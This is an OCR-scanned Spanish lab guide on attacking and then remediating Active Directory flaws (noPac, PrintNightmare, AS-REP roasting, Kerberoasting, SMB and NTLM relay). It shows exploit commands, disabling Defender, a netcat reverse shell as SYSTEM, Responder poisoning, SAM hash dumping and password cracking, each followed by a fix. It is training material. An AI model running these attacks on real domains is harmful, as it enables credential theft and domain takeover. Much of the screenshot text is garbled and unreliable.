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Remediacion de Vulnerabilidades
comunes Windows Active Directory

1. Descripcion del laboratorio

En este laboratorio vas a practicar procesos de remediacion de
vulnerabilidades, tanto a explotarlas como a mitigarlas. Vulnerabilidades:

Asreproast

Kerberoasting

noPAC

Printnightmare

SMBrelay & NTLMrelay IPv4

2. NoPac

Explotacion:

Utilizaremos Netexec con su mddulo “nopac” para identificar la vulnerabilidad
en el DC.

andard Evaluation 143 x64 (name:WIN

Una vez verifiquemos que la vulnerabilidad existe ejecutaremos el exploit
usando credenciales validas del dominio (usuario comun). De esta forma vemos
que recibimos una Shell como System.

noPac-main/noPac.py examen.local/svc_sqgl: | 23" -dc-ip 100.66.1.91 -dc-hos GU13EM
= administrador -use-ldap -




Remediacion:

Aungue no sed la remediacion completa de la vulnerabilidad, vamos a mitigar
el ataque asignando el valor 0 al pardmero “MachineAccountQuota” en el DC.

< Ejecutar X

=/ Escriba el nombre del programa, carpeta, documento o
L= recurso de Intemet que desea abrir con Windows.

Apir: | v|

. G Esta tarea se creara con privilegios administrativos.

. Cancelar | | Examinar...

PRSI

Propiedades de DC=examen,DC=local 7 X

Editor de atrbutos  Sequridad

-

Atributos:

Atributo Valor A

msDS-LastknownRDN  <no establecido>
msDS-LogonTimeSyn... <no establecido>
msDS-NcType 0
msDS5-ObjectSoa <no establecido>
msDS-PerlserTrustQ... 1
msDS-PerUserTrustT... 10
msDS-SourceAnchor  <no establecido>
msDS-USNLastSync...  <no establecido>

LT e ]

Editor de atributo de entero X
Atributo: ms-DS-Machine AccountQuota

Valor:

[0

] =
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/home/more
noPac-maln!noPac py vc_sgl: " -dc-ip 100.66.1.91 -dc-host WIN-442P9GU13EM -1
administrador

NOPAC

[-1 Cannot exploit , ms-DS-MachineAccountQuota @

3. Printnightmare

Explotacion:

Utilizaremos Netexec con su modulo “printnightmare” para identificar la
vulnerabilidad en el DC

64 (name:WIN

Para esta prueba vamos a desactivar el Antimalware Defender de Windows.

EN Administrador: Windows PowerShell

2016 Microsoft Corporation. Todos los derechos reservados.

\Administrador> Set-MpPreference
sers\Administrador> _

Compartimos la DLL maliciosa a traves de un servidor SMB antes de ejecutar el
exploit.

Impacket v0.9.24.dev1+2 813.15 Copyright Se reAuth Corporation

for UUID

for UUID uEFFDng~—All
irsed
arsed
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Nos ponemos a la escucha con netcat

443
listening on [any

Ejecutamos el exploit apuntando a la carpeta compartida con la DLL maliciosa
y las credenciales vdlidas de un usuario de dominio (comun):

PrintNightmare-main/printnightmare.py
Imp: 9.24.dev1+20211613.152215.3 3a - Copyright 2021 SecureAuth Corporation

[*#] Enumerat

[*] Driver

[*] Driver \ 1 S 32\\Driver re\\ eRepository\\ntprint.inf_amd64_db4f
IDRV.DLL'

reAuth Corporation

Config file parsed
Callback added for UUID 4
idded for UUID GBFF

Config
Incomin

(1:smb)
(1:smb)
ion (100.66.1.91,50
g connections []

Recibimos la Shell como System:

= 443
listening on [any] 443 ...
connect to [1@@8.66.1.94] from (UNKNOWN) [108.66.1.91] 5
osoft Windows rsien 10.8.14393]
2016 Microsoft Corporation. Todos los derechos reservados.

indows\syste |

Remediacion:

Desde el Controlador de dominio no necesitamos imprimir documentos, con lo
cual, la opcion mas facil es deshabilitar el servicio de cola de impresion
“Spooler”.
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indows\Syste : op spooler

; de e ién esta deten

e de

cu

name is not found.

4. Asreproast

Explotacion:

Usaremos una lista de usuarios del dominio para identificar si existe algun usuario

con el atributo “No requiere autenticacién previa™ activo.

/home/more/impacket/build/scripts-3. 'GetNPUsers.py men.local/ - file users.txt -f
hashasreproast.txt
: /1+20211@ 5

hashasreproast.txt
$ifp_asrep@EXAMEN . LOCA

hashasreproast.txt

Kerberos 5 AS € /18, [MD4 HMAC-MD5 RC4 / PB

DONE (
= " opt
ion completed.
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Comprobamos las credenciales

ver 2016 Standard Evaluation 143 (name

1. local\ifp_asrep:Passwordl

/home/more/test

Remediacion:

Entramos a las propiedades del usuario desde el DC, en Usuarios y
Equipos de Active Directory y desmarcamos el atributo “No pedir la
autenticacion Kerberos previa”

y

Bsc
4 Propiedades: ifp_asrep ? X |

General Direccion Cuerta Pedil Teléfonos Organizacion Miembrode 4% | HE7

bsr
| Nombre de inicio de sesidn de usuario s
! ‘rfp_asrep | @examen local b ::lm
g Nombre de inicio de sesién de usuario (anterior a Windows 2000): im
‘ EXAMEN\ | |'rfp_asrep im
yda
Horas de inicio de sesidn... Iniciar sesion en... Ept
bsr
] Desbloquear cuenta her
tup
Opciones de cuenta: ien
[ Usar solo tipos de cifrado DES de Kerberos para esta cuenta L) e
[[] Esta cuenta admite cifrado AES de Kerberos de 128 bits. da
[ Esta cuenta admite cifrado AES de Kerberos de 256 bits. psr
[ No pedir la auterticacién Kerberos previa vl [T
La cuenta expira
(®) Nunca Lier

5. Kerberoasting

Explotacion:

Buscaremos si existe un SPN en el dominio que nos permita generar un ticket TGS.

/home/more/impacket/build/scripts-3.12/GetUserSPNs.py -request -dc-ip 100.66.1.91 examen.l

p

Impacket v@ dev1+20211¢ f Copyrigl SecureAuth Corporation

Passwordla

CN=Admins. del dominio,CN=Users,DC=examen,DC=local
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Efectivamente recibimos el ticket del usuario que levanta el SPN, en este
caso “SVC_SQL”

1
=

19a59b59
896d

0:01 DONE ( i 43g/ ; ' 5 enbande .. AUSTID

ldentificamos que este usuario es administrador del dominio, con lo que
podemos hacer un volcado del NTDS

116 andard 4 (name:WIN

sgl:Adminl23
this could t

OGUL3EM
9GU13EM
P9GUL3EM

GUI3EM

P9GUL3EM

.1.91 -u Administrador -}

uments> whoami




Remediacion:

Entramos a las propiedades del usuario desde el DC, en Usuarios y Equipos de
Active Directory y marcamos:

v Usar solo tipos de cifrado DES de Kerberos para esta cuenta
v' Esta cuenta admite cifrado AES de Kerberos de 128bits.

v Esta cuenta admite cifrado AES de Kerberos de 256bits

Propiedades: SVC_SQL ? o
Membro de Marcado Entomo Sesiones
Control remoto Perfil de Servicios de Escrtorio remoto COM+

General Direccién Cuenta  Pedi Teléfonos Delegacién  Organizacién

Nombre de inicio de sesién de usuarno

[SVC_SGL) | @examenlocal v
Nombre de inicio de sesidn de usuano (antenor a Windows 2000)

EXAMEN SVC_SaL

Horas de inicio de sesion Iniciar sesion en

[[] Desbloquear cuenta

Opciones de cuenta

[+7] Usar solo tipos de cifrado DES de Kerberos para esta cuenta A
[] Esta cuenta admite cfirado AES de Kerberos de 128 bits
[ Esta cuenta admite cfrado AES de Kerberos de 256 bits
] No pedr la autenticacién Kerberos previa P

La cuenta expira
(®) Nunca
ir Fin de

/home/more/impacket/build/scripts-3.12/GetUserSPNs.py -1 est -dc-ip 100.66.1.91 examen.local/ifp_asre
p

Impacket v@.9.24. dey 3 3a - Copyright reAuth Corporation

MemberOf PasswordlLastSet

ion

CN=Admins. del dominio,CN=Users,DC=examen,DC=1local
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6. SMBRelay & NTLMRelay IPv4

Explotacion SMBRelay:

Configuramos el archivo Responder.conf, por defecto tiene todos los servicios
activados

grontgResgonderzResponder.cnnFI

; Servers to start
SQL = On
SMB On
RDP On
Kerberos on
FTP On
POP On
SMTP Oon
IMAP On
HTTP on
HTTPS On
DNS On
LDAP On
DCERPC On
WINRM On
SNMP

MQTT Oon

Ejecutamos la herramienta Responder.py, la cual activa servicios falsos como
HTTP, SMB, SQL, LDAP, entre muchos ofros.

NBT-NS, LLMNR & MDNS sponder 3.1.4.0

To support this project:

Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffieggmail.com)
To kill this script hit CTRL-C

+] Poisoners:
LLMNR
NBT-NS
MDNS
DNS
DHCP
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Debemos tener en cuenta que, en una red empresarial, habitualmente se tienen
tareas programadas que se ejecutan cada cierto periodo de tiempo como
pueden ser actualizaciones, copias de seguridad o tareas administrativas.
Cuando estos recursos cambian de configuracion como hostname, IP, o
simplemente son deshabilitados, la tarea programada o servicio que realiza
dichas tareas sigue funcionando. Con lo cual, nosotros como atacantes
podemos interceptar esas comunicaciones y aprovecharnos de ello.

Para este laboratorio, vamos a intentar conectarnos a un recurso que no existe
desde nuestro equipo Windows 10, por ejemplo:

Ejecutar X

Escriba el nombre del programa, carpeta, documento o
=i recurso de Internet que desea abrir con Windows,

Abrir: | A\ prueba\recurso_nc_existel v

Cancelar Examinar...

Podemos ver que se ha recibido el hash Net NTLMv2 del equipo Windows 10

NTLMvZ-SSP Client
NTLMv2-SSP Username
NTLMv2-SSP Hash

Debemos diferenciar este hash con el NTLMv1, para ello podemos hacer la
misma prueba, pero consultando el recurso que no existe desde nuestro
Servidor, vemos que recibimos el hash NTLMv1 que se encuentra habilitado en
este equipo.

NTLMv1-SSP Client = 00:8bd6

NTLMv1-SSP Username : E)

NTLMv1-SSP Hash H N:@C5A57B3388DB1ACOQ00000E
@FB607D66E190A41DE113F: 4del
[#*] [LLMNR] Poisoned answer sent to fe80::ad11:d475:c100:8bd6 for name asdsd

Podemos encontrar el historial de todos los hashes que hemos capturado en
Responder.db:

Database Structure  Browse Data  Edit Pragmas  Execute SQL
Table: H responder R T L B & BEERE & D % Fie

timestamp module type client hostname fullhash
EN:DE2D2D. \49E40000000...

bédb:..




Una vez teniendo estos hashes podemos infentar crackear la contrasena
usando hashcat o john:

john --format=netntlmv2 --wordlist=~/0SCP/wordlists/rockyou.txt test.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD& HMAC-MD5 32/64])
Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

Examenl23. (test)

1g 0:00:00:00 DONE (2021-12-30 19:36) 12.50g/s 870400p/s B70400c/s 870400C/s diaper..@30979
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Explotacion NTLMRelay:

Modificamos el archivo Responder.conf, deshabilitamos HTTP y SMB
grouthesgonder[Responder.cunfl

; Servers to start
sSQL on
SMB off
RDP On
Kerberos Oon
FTP On
POP on
SMTP

IMAP on
HTTP

HTTPS

DNS

LDAP

DCERPC

WINRM

SNMP

MQTT

Volcado SAM cldsico Retransmision SMB mediante Responder y NTLMrelayx.

Usuario Administrador

Ol Responder.py -I etheo

master !1
ntlmrelayx.py -t smb://192.168.0.25 -smb2support
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Por defecto, si se detectan privilegios de administrador, se realiza un volcado de
la SAM del equipo. En este caso, hemos dirigido el ataque hacia un Server 2019.

[*] servers started, waiting for connections

[*] sMBD-Thread-5 (process_request_thread): Received connection from 192.168.0.27, attacking target smb://192.168.0.25
[+#] Authenticating against smb://192.168.0.25 as EXAMEN/ADMINISTRADOR SUCCEED

[*] service RemoteRegistry is in stopped state

[*] starting service RemoteRegistry

[*] Target system bootKey: Oxed77e004bfccdbd365f7d687bb5f5487

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrador:500:aad3b435b51404eeaad3b435b51404ee: cfae279a292213ad9968334a452e6b8a: 1 :

[*] A1l targets processed!

[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.0.27 controlled, but there are no more targets left!
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c59d7e0c089c0: ::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:74bal145c30b7fbb6d4cc43b3ae9feSce:::
test$:1000:aad3b435b51404eeaad3b435b51404ee:cfae279a292213ad9968334a452e6bBaz::

[+] Done dumping SAM hashes for host: 192.168.0.25

[*] Stopping service RemoteRegistry

[*] A1l targets processed!

7. Remediacion de ataques SMBRelay y NTLMRelay

Firmar comunicaciones SMB y LDAP a través de GPO del dominio

Editor de administracién de directivas de grupo

Archivo  Accién Ver Ayuda

| nm X 7]
Directiva firmarcomSME [WIN-$42PSGU13EM.EXAMEN.LOCAL] Directiva Configuracién d
v i (’:"gg””“"“ el equipo inicio de sesién interactivo: umbral de bloqueo de cuenta del equipo No esté definidc
¥ "’:”:‘ - Miembro de dominia: cifrar digitalmente datos de un canal seguro (cuando sea posible) No ests definidc
Cun'lgulatmn d!:: :a'! Miembro de dominio: cifrar o firmar digitalmente datos de un canal seguro (siempre) Mo esta definidc
w onfiguracion Vindows
D?m ) ':mumn e Miembro de dominic: deshabilitar los cambios de contrasefia de cuentas de equipe Mo ests definidc
Scripts (inicio 0 apagado) Miembro de dominic: duracién méxima de contrasefa de cuenta de equipo No ests definidc
s Impresoras implementadas Miembro de dominia: firmar digitalmente datos de un canal seguro (cuando sea posible) No esta definidc
v F Configuracién de seguridad Miembro de dominio: requerir clave de sesién segura (Windows 2000 o posterior) No esté definide
> Bj Directives de cuenia Objetos de sistema: reforzar los permisos predeterminados de los cbjetos intemos del sistema (por ejemplo, vinculos simbélicos) Mo ests definidc
v J Directivas locales Objetos de sistema: requerir no distinguir maytsculas de mindsculas para subsistemas que na sean de Windows No esta definidc
J Dicectiva de auditoria Seguridad de red: configurar tipes de cifrado permitidos para Kerberos No estd definidc
Asignacién de derechos de usuario | Sequridad de red: forzar el cierre de sesién cuando expire la hora de inicio de sesién Mo ests definide
Ji Opciones de segundad Seguridad de red: nivel de autenticacion de LAN Manager Mo esta definide
3 Registro de eventos Seguridad de red: no almacenar valor de hash de LAN Manager en el préxime cambic de contrasefia No esta definide
4 Grupos restringidos. Seguridad de red: permitir que LocalSystem use la identidad del equipo para NTLM No estd definide
@ Servicios del sistema Seguridad de red: permitir retroceso a sesién NULL de LocalSystem Mo ests definidc
4 Registro Seguridad de red: permitir solicitudes de autenticacion PKU2U a este equipo para usar identidades en internet. No esté definidc
4 Sistema de archivos . Seguridad de red: requisitos de firma de cliente LDAP No estd definidc
i Directives de red cableada (IEEE 802.9) Sequridad de red: restringir NTLM: agregar excepciones de servidor en este dominio Mo esté definidc
:""’“” e "“_":““" ‘°”d"9d””d“" “;""""" Sequridad de red: restringir NTLM: agregar excepciones de senvidor remoto para sutenticacion NTLM No ests definidc
o Df"‘:”"’ :‘ “d’_”‘";‘_"’h‘” "E";[“aa:‘;“" Seguridad de red: restringir NTLM: auditar el tréfico NTLM entrante No ests definidc
“ D"“““‘ ﬂ”T e ’;‘;‘ et el Seguridad de red: restringir NTLM: auditar la autenticacién NTLM en este dominic No ests definide
irectivas de clave piblica
S ek mmfm” Ty Seguridad de red: restringir NTLM: sutenticacién NTLM en este dominio Mo estd definide
Divectivus e coniol e piciciomes Sequridad de red: restringir NTLM: trifico NTLM entrante Mo ests definide
8 Directives de seguridad IP en Active Directory (EXAMEN| L Seguridad de red rstringir NTLME trafico NTLM salente hacia servidores remotos No estd definidc
Configuracién de directiva de suditoria avanzada Seguridad de red: sequridad de sesién minima para clientes NTLM basados en SSP (incluida RPC segura) No estd definidc
) QoS basada en directiva Seguridad de red: sequridad de sesién minima para servidores NTLM basados en SSP (incluida RPC segura) Mo estd definide
Plantillas administrativas: definiciones de directiva (archivos All| L& Servidor de red de Microsoft: intentar S4U2Self para obtener informacién de notificaciones Mo estd definide
Preferencias Servidor de red Microsoft: desconectar a los clientes cuando expire el tiempo de inicio de sesion No estd definidc
v @ Configuracion de usuario Servidor de red Micrasoft: firmar digitalmente las comunicaciones (si el cliente lo permite) Mo esté definidc
Directivas Senvidor de red Microsoft: firmar digitalmente las comunicaciones (siempre) Habilitada
| Servidor de red Microsoft: desconectar a los clientes cuando expire el tiempo de inicio de sesién No esta definido
Servidor de red Microsoft: firmar digitalmente las comunicaciones (si el cliente lo permite) Mo esta definido
[ Servidor de red Microsoft: firmar digitalmente las comunicaciones (siempre) Habilitada
| Servidor de red Micresoft nivel de validacién de nombres de destine SPN del servider Ne estd definide
Cliente de redes de Microseft: enviar contrasefia sin cifrar a servidores SMB de terceros No esta definido
Cliente de redes de Microsoft: firmar digitalmente las comunicaciones (si el servidor lo permite Mo esta definido
I | Cliente de redes de Micreseft: firmar digitalmente las comunicaciones (siempre) Habilitada l
| Configuracion del sistema: subsistemas opcionales No esta definido
Confiauracion del sistema: usar realas de certificado en eiecutables de Windows para directivas de restriccion de software Mo esta definido
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PS C:h\Users\Administradors Get-SmbClientConfiguration | FL ReguireSecuritySignature

RequireSecuritySignature : True

Comprobamos usando netexec que las comunicaciones estén firmadas:

smb 1 74
100.66.1.74 445 DESKTOP Windows 1@ / Server 2019 Build 19041 x64 (name:DESK

TOP) (domain:examen.local) (signing:True) (
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